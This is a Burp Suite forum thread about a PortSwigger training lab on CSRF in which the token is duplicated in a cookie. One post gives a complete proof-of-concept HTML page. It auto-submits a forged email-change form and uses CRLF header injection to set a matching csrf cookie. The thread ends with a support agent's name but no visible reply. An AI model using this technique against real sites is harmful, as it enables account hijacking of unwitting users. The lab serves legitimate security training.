Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CSRF where token is duplicated in cookie

Elliot | Last updated: May 24, 2024 08:42PM UTC

"I am currently trying to do the CSRF lab where the token is duplicated in a cookie. However, I keep encountering this error: This is your server. You can use the form below to save an exploit and send it to the victim: Please note that the victim uses Google Chrome. When you test your exploit against yourself, we recommend using Burp's Browser or Chrome." PS: I have watched all the possible videos about the lab. Anyone can help me with that ? Thanks in advance !

Patrick | Last updated: May 25, 2024 05:24AM UTC

Hello, some of our interns are facing issue in the CSRF labs. Noting on the "CSRF where token is duplicated in cookie" Chrome and Firefox are not allowing Cookie injection via <img> tag. Below is the POC that is failing to work. Can you please advise <html> <body> <form action="https://0a88007a0358f8f284545e81006e0026.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="joedoh@evil.com" /> <input type="hidden" name="csrf" value="fake1234" /> <input type="submit" value="Submit request" /> </form> <img src="https://0a88007a0358f8f284545e81006e0026.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake1234" onerror="document.forms[0].submit();" /> </body> </html>

Ben, PortSwigger Agent | Last updated: May 27, 2024 08:52AM UTC